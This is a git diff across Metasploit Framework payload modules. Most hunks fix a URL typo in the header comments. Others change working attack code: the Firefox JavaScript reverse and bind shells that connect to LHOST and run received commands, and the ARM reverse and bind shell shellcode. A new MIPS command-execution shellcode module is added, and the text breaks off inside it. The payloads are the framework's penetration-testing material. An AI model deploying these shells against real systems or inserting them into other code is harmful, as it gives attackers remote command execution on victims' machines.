a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb index 9a9b836a53..6dd2c25105 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,7 +29,7 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcpSsl, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd_bash', - 'RequiredCmd' => 'bash-tcp', + 'RequiredCmd' => 'telnet', 'Payload' => { 'Offsets' => { }, diff --git a/modules/payloads/singles/cmd/unix/reverse_lua.rb b/modules/payloads/singles/cmd/unix/reverse_lua.rb index a695369a4d..43440d5c2d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_lua.rb +++ b/modules/payloads/singles/cmd/unix/reverse_lua.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat.rb b/modules/payloads/singles/cmd/unix/reverse_netcat.rb index 4c96ee941d..1887b14f04 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb index 22c8c91655..3227d8160f 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb index 186dbadb0b..1aa2df8327 100644 --- a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb index 2c89799f66..5fa6002f2d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_openssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_perl.rb b/modules/payloads/singles/cmd/unix/reverse_perl.rb index f7a8ab8fd7..c5850a34f4 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb index a48f30b7ad..b4c1bf6d9b 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb index 18009b613c..cbe10295f4 100644 --- a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb index 3379594c72..4600571bc9 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb index 8a37299e3e..40d1231083 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby.rb b/modules/payloads/singles/cmd/unix/reverse_ruby.rb index 3d68afc2ed..fceb063376 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb index 268d95fc48..0afe98c7ca 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb index ea121520aa..5fb7344c68 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_zsh.rb b/modules/payloads/singles/cmd/unix/reverse_zsh.rb index 6b26111614..4ee9d9035e 100644 --- a/modules/payloads/singles/cmd/unix/reverse_zsh.rb +++ b/modules/payloads/singles/cmd/unix/reverse_zsh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/adduser.rb b/modules/payloads/singles/cmd/windows/adduser.rb index eb69d43451..b1e53aba00 100644 --- a/modules/payloads/singles/cmd/windows/adduser.rb +++ b/modules/payloads/singles/cmd/windows/adduser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/bind_lua.rb b/modules/payloads/singles/cmd/windows/bind_lua.rb index 9c5a793cd8..351d32f3cf 100644 --- a/modules/payloads/singles/cmd/windows/bind_lua.rb +++ b/modules/payloads/singles/cmd/windows/bind_lua.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/bind_perl.rb b/modules/payloads/singles/cmd/windows/bind_perl.rb index 42da08864a..af2249fbf5 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy ', 'cazz', 'patrick'], + 'Author' => ['Samy ', 'cazz', 'patrick'], 'License' => BSD_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb index 283d965fbb..ebdba89726 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy ', 'cazz', 'patrick'], + 'Author' => ['Samy ', 'cazz', 'patrick'], 'License' => BSD_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/windows/bind_ruby.rb b/modules/payloads/singles/cmd/windows/bind_ruby.rb index d3eb85cbce..79107d0e11 100644 --- a/modules/payloads/singles/cmd/windows/bind_ruby.rb +++ b/modules/payloads/singles/cmd/windows/bind_ruby.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb index 8b040f7839..e9d7626af6 100644 --- a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb index c86d3fd57a..d7c48a01f5 100644 --- a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/generic.rb b/modules/payloads/singles/cmd/windows/generic.rb index d8dc67fe82..d7680c7c82 100644 --- a/modules/payloads/singles/cmd/windows/generic.rb +++ b/modules/payloads/singles/cmd/windows/generic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/reverse_lua.rb b/modules/payloads/singles/cmd/windows/reverse_lua.rb index 002cebcc9c..cac36a8592 100644 --- a/modules/payloads/singles/cmd/windows/reverse_lua.rb +++ b/modules/payloads/singles/cmd/windows/reverse_lua.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb index de50a32991..b781107e97 100644 --- a/modules/payloads/singles/cmd/windows/reverse_perl.rb +++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb index 1915ddc57d..82c636be19 100644 --- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -1,10 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/handler/find_shell' +require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -24,7 +25,7 @@ module Metasploit3 ], 'References' => [ - 'URL' => 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell', + ['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell'] ], # The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE 'License' => MSF_LICENSE, diff --git a/modules/payloads/singles/cmd/windows/reverse_ruby.rb b/modules/payloads/singles/cmd/windows/reverse_ruby.rb index 7bc046c375..f4f2f96885 100644 --- a/modules/payloads/singles/cmd/windows/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/windows/reverse_ruby.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/firefox/exec.rb b/modules/payloads/singles/firefox/exec.rb index 7c9b7afc9b..d7d30ba53b 100644 --- a/modules/payloads/singles/firefox/exec.rb +++ b/modules/payloads/singles/firefox/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,6 +34,7 @@ module Metasploit3 <<-EOS (function(){ + window = this; #{read_file_source if datastore['WSCRIPT']} #{run_cmd_source if datastore['WSCRIPT']} diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb index 9a91867fb7..3212da2cb2 100644 --- a/modules/payloads/singles/firefox/shell_bind_tcp.rb +++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' module Metasploit3 @@ -23,24 +24,17 @@ module Metasploit3 'Arch' => ARCH_FIREFOX, 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'firefox', - 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + 'PayloadType' => 'firefox' )) end - # - # Constructs the payload - # - def generate - super + command_string - end - # # Returns the JS string to use for execution # - def command_string + def generate %Q| (function(){ + window = this; Components.utils.import("resource://gre/modules/NetUtil.jsm"); var lport = #{datastore["LPORT"]}; var rhost = "#{datastore['RHOST']}"; @@ -59,16 +53,17 @@ module Metasploit3 } }; + #{read_until_token_source} + var clientListener = function(outStream) { return { onStartRequest: function(request, context) {}, onStopRequest: function(request, context) {}, - onDataAvailable: function(request, context, stream, offset, count) { - var data = NetUtil.readInputStreamToString(stream, count).trim(); + onDataAvailable: readUntilToken(function(data) { runCmd(data, function(err, output) { if(!err) outStream.write(output, output.length); }); - } + }) }; }; diff --git a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb index 92d32aa8c4..2d04fb80f6 100644 --- a/modules/payloads/singles/firefox/shell_reverse_tcp.rb +++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' module Metasploit3 @@ -31,6 +32,8 @@ module Metasploit3 <<-EOS (function(){ + window = this; + Components.utils.import("resource://gre/modules/NetUtil.jsm"); var host = '#{datastore["LHOST"]}'; var port = #{datastore["LPORT"]}; @@ -45,15 +48,16 @@ module Metasploit3 .createInstance(Components.interfaces.nsIInputStreamPump); pump.init(inStream, -1, -1, 0, 0, true); + #{read_until_token_source} + var listener = { onStartRequest: function(request, context) {}, onStopRequest: function(request, context) {}, - onDataAvailable: function(request, context, stream, offset, count) { - var data = NetUtil.readInputStreamToString(stream, count).trim(); + onDataAvailable: readUntilToken(function(data) { runCmd(data, function(err, output) { if (!err) outStream.write(output, output.length); }); - } + }) }; #{run_cmd_source} @@ -63,4 +67,5 @@ module Metasploit3 EOS end + end diff --git a/modules/payloads/singles/generic/custom.rb b/modules/payloads/singles/generic/custom.rb index 74475c18d6..47e45b0b2f 100644 --- a/modules/payloads/singles/generic/custom.rb +++ b/modules/payloads/singles/generic/custom.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/generic/debug_trap.rb b/modules/payloads/singles/generic/debug_trap.rb index 505a091e67..51e519b501 100644 --- a/modules/payloads/singles/generic/debug_trap.rb +++ b/modules/payloads/singles/generic/debug_trap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/generic/shell_bind_tcp.rb b/modules/payloads/singles/generic/shell_bind_tcp.rb index 1f3cbc2c9a..407df6e016 100644 --- a/modules/payloads/singles/generic/shell_bind_tcp.rb +++ b/modules/payloads/singles/generic/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/generic/shell_reverse_tcp.rb b/modules/payloads/singles/generic/shell_reverse_tcp.rb index f95d343d89..759319695e 100644 --- a/modules/payloads/singles/generic/shell_reverse_tcp.rb +++ b/modules/payloads/singles/generic/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/generic/tight_loop.rb b/modules/payloads/singles/generic/tight_loop.rb index 4728cd68b8..6489fb5965 100644 --- a/modules/payloads/singles/generic/tight_loop.rb +++ b/modules/payloads/singles/generic/tight_loop.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb index 087958f27d..676a5fcbd3 100644 --- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,7 +31,6 @@ module Metasploit3 'Payload' => '' } )) - register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class ) end diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index dc3ecfb3d9..ff07c925d8 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,7 +31,6 @@ module Metasploit3 'Payload' => '' } )) - register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class ) end diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index 635552722b..6da4a6c270 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/armle/adduser.rb b/modules/payloads/singles/linux/armle/adduser.rb index 169d2ef02c..384feccbc6 100644 --- a/modules/payloads/singles/linux/armle/adduser.rb +++ b/modules/payloads/singles/linux/armle/adduser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/armle/exec.rb b/modules/payloads/singles/linux/armle/exec.rb index 68d0e73c6c..e98e9fd6db 100644 --- a/modules/payloads/singles/linux/armle/exec.rb +++ b/modules/payloads/singles/linux/armle/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb index 303ca15f99..18ca215b73 100644 --- a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,8 +29,8 @@ module Metasploit3 { 'Offsets' => { - 'RHOST' => [ 208, 'ADDR' ], - 'LPORT' => [ 206, 'n' ], + 'RHOST' => [ 172, 'ADDR' ], + 'LPORT' => [ 170, 'n' ], }, 'Payload' => [ @@ -45,7 +45,7 @@ module Metasploit3 0xe1a06000, # mov r6, r0 # bind - 0xe28f10A4, # 1dr r1, pc, #172 ; 0x9C + 0xe28f1080, # 1dr r1, pc, #128 0xe3a02010, # mov r2, #16 0xe3a07001, # mov r7, #1 0xe1a07407, # lsl r7, r7, #8 @@ -78,25 +78,14 @@ module Metasploit3 0x5afffffa, # bpl 8c <.text+0x8c> # execve("/system/bin/sh", args, env) - 0xe28f0048, # add r0, pc, #72 ; 0xe40 + 0xe28f0024, # add r0, pc, #36 ; 0x24 0xe0244004, # eor r4, r4, r4 0xe92d0010, # push {r4} 0xe1a0200d, # mov r2, sp - 0xe92d0004, # push {r2} - 0xe1a0200d, # mov r2, sp + 0xe28f4024, # add r4, pc, #36 ; 0x10 0xe92d0010, # push {r4} - 0xe59f1048, # ldr r1, [pc, #72] ; 8124 - 0xe92d0002, # push {r1} - 0xe92d2000, # push {sp} 0xe1a0100d, # mov r1, sp - 0xe92d0004, # push {r2} - 0xe1a0200d, # mov r2, sp - 0xe3a0700b, # mov r7, #11 ; 0xeb - 0xef000000, # svc 0x00000000 - - # exit(0) - 0xe3a00000, # mov r0, #0 ; 0x0 - 0xe3a07001, # mov r7, #1 ; 0x1 + 0xe3a0700b, # mov r7, #11 ; 0xb 0xef000000, # svc 0x00000000 # : @@ -110,7 +99,10 @@ module Metasploit3 0x00000000, # .word 0x00000000 # : - 0x00000000 # .word 0x00000000 ; the args! + 0x00000000, # .word 0x00000000 ; the args! + 0x00000000, # .word 0x00000000 + 0x00000000, # .word 0x00000000 + 0x00000000, # .word 0x00000000 ].pack("V*") } @@ -120,7 +112,7 @@ module Metasploit3 register_options( [ OptString.new('SHELL', [ true, "The shell to execute.", "/system/bin/sh" ]), - OptString.new('SHELLARG', [ false, "The argument to pass to the shell.", "-C" ]) + OptString.new('ARGV0', [ false, "argv[0] to pass to execve", "sh" ]) # mostly used for busybox ], self.class) end @@ -131,14 +123,14 @@ module Metasploit3 if sh.length >= 16 raise ArgumentError, "The specified shell must be less than 16 bytes." end - p[212, sh.length] = sh + p[176, sh.length] = sh arg = datastore['SHELLARG'] if arg - if arg.length >= 4 - raise ArgumentError, "The specified shell argument must be less than 4 bytes." + if arg.length >= 16 + raise ArgumentError, "The specified argv[0] must be less than 16 bytes." end - p[228, arg.length] = arg + p[192, arg.length] = arg end p diff --git a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb index 2aaaf15b9d..774ab1ef7e 100644 --- a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,8 +28,8 @@ module Metasploit3 { 'Offsets' => { - 'LHOST' => [ 172, 'ADDR' ], - 'LPORT' => [ 170, 'n' ], + 'LHOST' => [ 136, 'ADDR' ], + 'LPORT' => [ 134, 'n' ], }, 'Payload' => [ @@ -54,7 +54,7 @@ module Metasploit3 # connect(soc, socaddr, 0x10) 0xe1a06000, # mov r6, r0 - 0xe28f1084, # 1dr r1, pc, #132 ; 0x84 + 0xe28f1060, # 1dr r1, pc, #96 ; 0x60 0xe3a02010, # mov r2, #16 ; 0x10 0xe3a0708d, # mov r7, #141 ; 0x8d 0xe287708e, # add r7, r7, #142 ; 0x8e @@ -79,30 +79,18 @@ module Metasploit3 0xef000000, # svc 0x00000000 # execve("/system/bin/sh", args, env) - # Shrink me here. I am lame. - 0xe28f0048, # add r0, pc, #72 ; 0x48 + 0xe28f0024, # add r0, pc, #36 ; 0x24 0xe0244004, # eor r4, r4, r4 0xe92d0010, # push {r4} 0xe1a0200d, # mov r2, sp - 0xe92d0004, # push {r2} - 0xe1a0200d, # mov r2, sp + 0xe28f4024, # add r4, pc, #36 ; 0x10 0xe92d0010, # push {r4} - 0xe59f1048, # ldr r1, [pc, #72] ; 8124 - 0xe92d0002, # push {r1} - 0xe92d2000, # push {sp} 0xe1a0100d, # mov r1, sp - 0xe92d0004, # push {r2} - 0xe1a0200d, # mov r2, sp 0xe3a0700b, # mov r7, #11 ; 0xb 0xef000000, # svc 0x00000000 - # exit(0) - 0xe3a00000, # mov r0, #0 ; 0x0 - 0xe3a07001, # mov r7, #1 ; 0x1 - 0xef000000, # svc 0x00000000 - # : - # port offset = 170, ip offset = 172 + # port offset = 134, ip offset = 136 0x04290002, # .word 0x5c110002 @ port: 4444 , sin_fam = 2 0x0101a8c0, # .word 0x0101a8c0 @ ip: 192.168.1.1 # : @@ -111,7 +99,10 @@ module Metasploit3 0x00000000, # .word 0x00000000 0x00000000, # .word 0x00000000 # : - 0x00000000 # .word 0x00000000 ; the args! + 0x00000000, # .word 0x00000000 ; the args! + 0x00000000, # .word 0x00000000 + 0x00000000, # .word 0x00000000 + 0x00000000, # .word 0x00000000 ].pack("V*") } @@ -121,7 +112,7 @@ module Metasploit3 register_options( [ OptString.new('SHELL', [ true, "The shell to execute.", "/system/bin/sh" ]), - OptString.new('SHELLARG', [ false, "The argument to pass to the shell.", "-C" ]) + OptString.new('ARGV0', [ false, "argv[0] to pass to execve", "sh" ]) # mostly used for busybox ], self.class) end @@ -132,14 +123,14 @@ module Metasploit3 if sh.length >= 16 raise ArgumentError, "The specified shell must be less than 16 bytes." end - p[176, sh.length] = sh + p[140, sh.length] = sh - arg = datastore['SHELLARG'] + arg = datastore['ARGV0'] if arg - if arg.length >= 4 - raise ArgumentError, "The specified shell argument must be less than 4 bytes." + if arg.length >= 16 + raise ArgumentError, "The specified argv[0] must be less than 16 bytes." end - p[192, arg.length] = arg + p[156, arg.length] = arg end p diff --git a/modules/payloads/singles/linux/mipsbe/exec.rb b/modules/payloads/singles/linux/mipsbe/exec.rb new file mode 100644 index 0000000000..4ad1815928 --- /dev/null +++ b/modules/payloads/singles/linux/mipsbe/exec.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Execute Command', + 'Description' => %q{ + A very small shellcode for executing commands. + This module is sometimes helpful for testing purposes. + }, + 'Author' => + [ + 'Michael Messner ', #metasploit payload + 'entropy@phiral.net' #original payload + ], + 'References' => + [ + ['EDB', '17940'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 